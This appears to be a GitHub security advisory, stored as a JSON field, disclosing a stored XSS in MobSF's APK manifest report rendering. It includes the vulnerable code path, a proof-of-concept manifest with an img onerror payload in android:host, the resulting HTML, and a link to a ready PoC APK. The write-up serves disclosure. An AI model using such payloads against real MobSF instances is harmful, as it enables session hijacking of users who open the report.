  "details": "### Summary\nA Stored Cross-site Scripting (XSS) vulnerability in MobSF\u0027s Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim\u0027s browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.\n\n### Details\nWhen MobSF analyzes an Android APK containing a `\u003cdata\u003e` element with `android:scheme=\"android_secret_code\"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.\n\n### Vulnerable Code Path\n\n**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):\n```python\nxmlhost = data.getAttribute(f\u0027{ns}:host\u0027)\nret_list.append((\u0027dialer_code_found\u0027, (xmlhost,), ()))\n```\n\n**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):\n```python\n\u0027title\u0027: a_template[\u0027title\u0027] % t_name,  # XSS payload inserted here unescaped\n```\n\n**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):\n```python\n\u0027dialer_code_found\u0027: {\n    \u0027title\u0027: \u0027Dailer Code: %s Found \u003cbr\u003e[android:scheme=\\\"android_secret_code\\\"]\u0027,\n    ...\n}\n```\n\n**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):\n```html\n{{item|key:\"title\" | safe}}\n```\n\nThe `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.\n\n### PoC\n\n### Step 1: Create Malicious APK\n\nCreate an APK with the following `AndroidManifest.xml`:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.xsstest\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\"\u003e\n\n    \u003capplication android:label=\"XSS PoC Test\"\u003e\n        \u003creceiver android:name=\".SecretCodeReceiver\" android:exported=\"true\"\u003e\n            \u003cintent-filter\u003e\n                \u003caction android:name=\"android.provider.Telephony.SECRET_CODE\"/\u003e\n                \u003cdata android:scheme=\"android_secret_code\"\n                      android:host=\"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\"/\u003e\n            \u003c/intent-filter\u003e\n        \u003c/receiver\u003e\n    \u003c/application\u003e\n\u003c/manifest\u003e\n```\n\n### Step 2: Build the APK\n\nUse apktool or Android build tools to create a valid APK with this manifest.\n\n### Step 3: Upload to MobSF\n\nUpload the malicious APK to MobSF for static analysis.\n\n### Step 4: Trigger XSS\n\nView the static analysis report in a browser. The JavaScript payload executes automatically.\n\n### Confirmed HTML Output\n\n```html\n\u003ctd\u003e\nDailer Code: \u003cimg src=x onerror=alert(document.domain)\u003e Found \u003cbr\u003e[android:scheme=\"android_secret_code\"]\n\u003c/td\u003e\n```\n\n### PoC APK Details\n\n| Field | Value |\n|-------|-------|\n| **Filename** | `POC_XSS_APK.apk ` |\n| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |\n| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |\n\n### Impact\n\nThis is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.\n\n### Attack Scenario\n\n1. Attacker crafts a malicious APK with XSS payload in the manifest\n2. Attacker submits APK to a shared MobSF instance or  private mobsf instance. \n3. When any user views the analysis report, the XSS payload executes in their browser\n\n\u003cimg width=\"1435\" height=\"675\" alt=\"Screenshot 2026-01-15 at 12 24 29\u202fAM\" src=\"https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052\" /\u003e\n\n\nTested in MobSF Public Instance as well.\nhttps://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ \n\n\n\u003cimg width=\"1440\" height=\"780\" alt=\"Screenshot 2026-01-15 at 12 24 57\u202fAM\" src=\"https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e\" /\u003e",
